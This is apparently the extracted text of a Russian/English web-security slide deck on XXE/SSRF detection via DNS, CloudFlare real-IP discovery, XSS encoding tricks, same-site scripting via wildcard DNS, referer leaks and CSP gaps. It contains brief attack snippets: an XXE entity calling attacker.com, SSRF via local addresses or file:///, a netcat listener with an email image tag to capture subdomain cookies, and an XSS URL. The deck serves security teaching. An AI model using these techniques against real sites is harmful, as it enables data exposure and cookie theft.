4. XXE/SSRF detection via DNS
SSRF:
1) Предложить сайт
<ссылка на сайт>
2) Бот проверяет сайт
3) Вместо внешнего сайта подставляется локальный адрес / заменяется схема (file:///)
5. XXE/SSRF detection via DNS
XXE:
1) XML
<?xml version="1.0" encoding="ISO-8859-1"?>
2) С сущностью
<!ENTITY xxe SYSTEM «http://attacker.com» >]>
3) Парсер пытается подгрузить сущность с внешнего сайта
6. XXE/SSRF detection via DNS
Сложности при поиске:
1) Есть или нет?
2) Время запроса
3) Firewall
4) Другие ограничения
20. CloudFlare – real IP detection
CloudFlare Free, Pro and Business plan:
We do not proxy wildcard records
CloudFlare Enterprise:
For CloudFlare Enterprise customers, we do proxy wildcard records
24. XSS & urlencode
1)Не все web серверы выполняют urldecode
2) XSS подставляется, но после urlencode
3)XSS не выполняется
4)На помощь приходит... IE!
35. Situation #1 – Same Site Scripting
External IP – 12.34.56.78
Loopback – 127.0.0.1
36. Situation #1 – Same Site Scripting
Attacker:
1)nc –lv 10024
2)email to victim@corp.xxx with <img src = http://xxyyzz.target.com:10024 > Victim:
1)Open email and...
2)Load image with *.target.com cookies! (that’s is why important to know howto correctly set cookies - http://habrahabr.ru/post/143276/)
37. Situation #1 – Same Site Scripting
http://localhost.domain.com:631/<SCRIPT>XSS</SCRIPT>.shtml
38. Situation #1 – Same Site Scripting
38
XXXYYYZZZ.target.com => 10.0.0.22
http://lab.onsec.ru/2013/07/insecure-dns-records-in-top-web-projects.html
39. Situation #1 – Same Site Scripting
39
https://hackerone.com/reports/1509 - $100
48. Situation #3 - HTTP referer
<a href=“http://external.com”>Go!</a>
In request headers:
...
Referer: http://yoursite.com/
...
But what about external resources on web page such as images, styles...?
53. Situation #5 - Content-Security-Policy
CSP only for some browsers!
Is it ok?
54. Situation #5 - Content-Security-Policy
1)Forks with diff UA
2)Proxy cache
3)Load balancer... Bug hunter got $100, but...
55. Situation #5 - Content-Security-Policy
Fail! Why:
•‘Partial support in Internet Explorer 10-11 refers to the browser only supporting the 'sandbox' directive by using the 'X-Content-Security-Policy' header.
•Partial support in iOS Safari 5.0-5.1 refers to the browser recognizing the X-Webkit-CSP header but failing to handle complex cases correctly, often resulting in broken pages.
•Chrome for iOS fails to render pages without a connect-src 'self' policy.
•Old FF problems (some versions between XX and YY)